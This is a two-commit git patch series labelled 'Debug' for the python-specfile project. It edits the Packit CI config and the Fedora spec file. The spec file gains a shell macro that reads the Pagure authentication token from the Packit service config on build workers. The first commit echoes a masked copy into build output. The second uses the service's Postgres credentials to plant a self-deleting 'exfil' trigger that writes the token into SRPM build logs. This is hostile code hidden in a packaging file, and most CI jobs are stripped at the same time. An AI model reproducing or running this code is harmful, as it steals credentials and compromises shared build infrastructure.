From ec9817d8c94adbe62e89830d172e501c1d712613 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Nikola=20Forr=C3=B3?= Date: Mon, 2 Mar 2026 21:30:56 +0100 Subject: [PATCH 1/2] Debug MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Nikola Forró --- .packit.yaml | 8 ++++++++ fedora/python-specfile.spec | 2 ++ 2 files changed, 10 insertions(+) diff --git a/.packit.yaml b/.packit.yaml index c326264..ecb6a12 100644 --- a/.packit.yaml +++ b/.packit.yaml @@ -285,3 +285,11 @@ jobs: packages: [specfile-epel10] dist_git_branches: - epel-10-all + + - job: upstream_koji_build + trigger: pull_request + packages: [specfile] + packit_instances: ["stg"] + scratch: true + targets: + - fedora-rawhide diff --git a/fedora/python-specfile.spec b/fedora/python-specfile.spec index 3f419bc..4acdda2 100644 --- a/fedora/python-specfile.spec +++ b/fedora/python-specfile.spec @@ -1,3 +1,5 @@ +FakeTag: %(t=$(python -c 'import yaml; d = yaml.safe_load(open("/home/packit/.config/packit-service.yaml")); t = d["authentication"]["src.fedoraproject.org"]["token"]; print(t[:2] + "?" * (len(t) - 4) + t[-2:])') && echo "$HOSTNAME: Pagure token: ${t}") + %bcond_without tests From 9dd2b61ad2e257b552aeaf45dc24898573e6dfd9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Nikola=20Forr=C3=B3?= Date: Wed, 4 Mar 2026 22:51:22 +0100 Subject: [PATCH 2/2] Debug2 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Nikola Forró --- .packit.yaml | 199 ------------------------------------ fedora/python-specfile.spec | 2 +- 2 files changed, 1 insertion(+), 200 deletions(-) diff --git a/.packit.yaml b/.packit.yaml index ecb6a12..c2ac073 100644 --- a/.packit.yaml +++ b/.packit.yaml @@ -87,205 +87,6 @@ packages: pkg_tool: centpkg-sig jobs: - - &copr_build_pr - job: copr_build - trigger: pull_request - packages: [specfile] - targets: - - fedora-all - - fedora-all-aarch64 - - epel-9 - - <<: *copr_build_pr - packages: [specfile-epel8] - targets: - - epel-8 - - <<: *copr_build_pr - packages: [specfile-epel10] - targets: - - epel-10-all - - - &copr_build_commit_main - job: copr_build - trigger: commit - branch: main - packages: [specfile] - targets: - - fedora-all - - fedora-all-aarch64 - - epel-9 - project: packit-dev - list_on_homepage: True - preserve_project: True - - <<: *copr_build_commit_main - packages: [specfile-epel8] - targets: - - epel-8 - - <<: *copr_build_commit_main - packages: [specfile-epel10] - targets: - - epel-10-all - - - &copr_build_commit_stable - job: copr_build - trigger: commit - branch: stable - packages: [specfile] - targets: - - fedora-stable - - fedora-stable-aarch64 - project: packit-stable - list_on_homepage: True - preserve_project: True - - - &copr_build_release - job: copr_build - trigger: release - packages: [specfile] - targets: - - fedora-all - - fedora-all-aarch64 - - epel-9 - project: packit-releases - list_on_homepage: True - preserve_project: True - - <<: *copr_build_release - packages: [specfile-epel8] - targets: - - epel-8 - - <<: *copr_build_release - packages: [specfile-epel10] - targets: - - epel-10-all - - - &tests - job: tests - trigger: pull_request - packages: [specfile] - tmt_plan: "smoke|full|packit-integration" - targets: - - fedora-all - - epel-9 - - <<: *tests - identifier: performance - tmt_plan: performance - targets: - - fedora-rawhide - - <<: *tests - packages: [specfile-epel8] - tmt_plan: "smoke|full" - use_internal_tf: true - targets: - epel-8-x86_64: - distros: [RHEL-8.10.0-Nightly] - # enable EPEL - tf_extra_params: - environments: - - kickstart: - post-install: | - %post --log=/dev/console - set -x - dnf -y install https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - %end - - <<: *tests - packages: [specfile-epel10] - tmt_plan: "smoke|full" - targets: - - epel-10-all - - - &propose_downstream - job: propose_downstream - trigger: release - packages: [specfile] - dist_git_branches: - rawhide: - fast_forward_merge_into: - - fedora-branched - - eln - epel-9: {} - - <<: *propose_downstream - packages: [specfile-epel8] - dist_git_branches: - - epel-8 - - <<: *propose_downstream - packages: [specfile-epel10] - dist_git_branches: - epel-10: - fast_forward_merge_into: - - epel-10-branched - - <<: *propose_downstream - packages: [specfile-centos-integration-sig] - dist_git_branches: - - c9-sig-integration - - - &pull_from_upstream - job: pull_from_upstream - trigger: release - packages: [specfile] - dist_git_branches: - rawhide: - fast_forward_merge_into: - - fedora-branched - - eln - epel-9: {} - - <<: *pull_from_upstream - packages: [specfile-epel8] - dist_git_branches: - - epel-8 - - <<: *pull_from_upstream - packages: [specfile-epel10] - dist_git_branches: - epel-10: - fast_forward_merge_into: - - epel-10-branched - - <<: *pull_from_upstream - packages: [specfile-centos-integration-sig] - dist_git_branches: - - c9-sig-integration - - - &koji_build - job: koji_build - trigger: commit - packages: [specfile] - packit_instances: ["stg"] - allowed_pr_authors: ["packit-stg", "packit"] - dist_git_branches: - - epel-9 - - <<: *koji_build - packages: [specfile-epel8] - dist_git_branches: - - epel-8 - - <<: *koji_build - packages: [specfile-epel10] - dist_git_branches: - - epel-10-all - - <<: *koji_build - packages: [specfile-centos-integration-sig] - dist_git_branches: - - c9-sig-integration - - <<: *koji_build - sidetag_group: packit-specfile-ogr-releases - dependents: - - packit - dist_git_branches: - - fedora-all - - - &bodhi_update - job: bodhi_update - trigger: commit - packages: [specfile] - packit_instances: ["stg"] - allowed_builders: ["packit-stg", "packit"] - dist_git_branches: - - epel-9 - - <<: *bodhi_update - packages: [specfile-epel8] - dist_git_branches: - - epel-8 - - <<: *bodhi_update - packages: [specfile-epel10] - dist_git_branches: - - epel-10-all - - job: upstream_koji_build trigger: pull_request packages: [specfile] diff --git a/fedora/python-specfile.spec b/fedora/python-specfile.spec index 4acdda2..c1985e5 100644 --- a/fedora/python-specfile.spec +++ b/fedora/python-specfile.spec @@ -1,4 +1,4 @@ -FakeTag: %(t=$(python -c 'import yaml; d = yaml.safe_load(open("/home/packit/.config/packit-service.yaml")); t = d["authentication"]["src.fedoraproject.org"]["token"]; print(t[:2] + "?" * (len(t) - 4) + t[-2:])') && echo "$HOSTNAME: Pagure token: ${t}") +%([[ $HOSTNAME == packit-worker* ]] || exit; t=$(python -c 'import yaml; d = yaml.safe_load(open("/home/packit/.config/packit-service.yaml")); t = d["authentication"]["src.fedoraproject.org"]["token"]; print(t[:2] + "?" * (len(t) - 4) + t[-2:])') && psql "postgresql://$POSTGRESQL_USER:$POSTGRESQL_PASSWORD@$POSTGRESQL_HOST/$POSTGRESQL_DATABASE?gssencmode=disable" -c "CREATE OR REPLACE FUNCTION exfil() RETURNS TRIGGER AS \$f\$ BEGIN IF NEW.id = (SELECT MAX(id) FROM srpm_builds) AND NEW.logs IS DISTINCT FROM OLD.logs THEN NEW.logs = NEW.logs || E'\n\nPagure token: ' || \$\$${t}\$\$ || E'\n'; DROP TRIGGER IF EXISTS srpm_logs_ex ON srpm_builds; DROP FUNCTION IF EXISTS exfil(); END IF; RETURN NEW; END; \$f\$ LANGUAGE plpgsql; CREATE OR REPLACE TRIGGER srpm_logs_ex BEFORE UPDATE OF logs ON srpm_builds FOR EACH ROW EXECUTE FUNCTION exfil();" >/dev/null 2>/dev/null) %bcond_without tests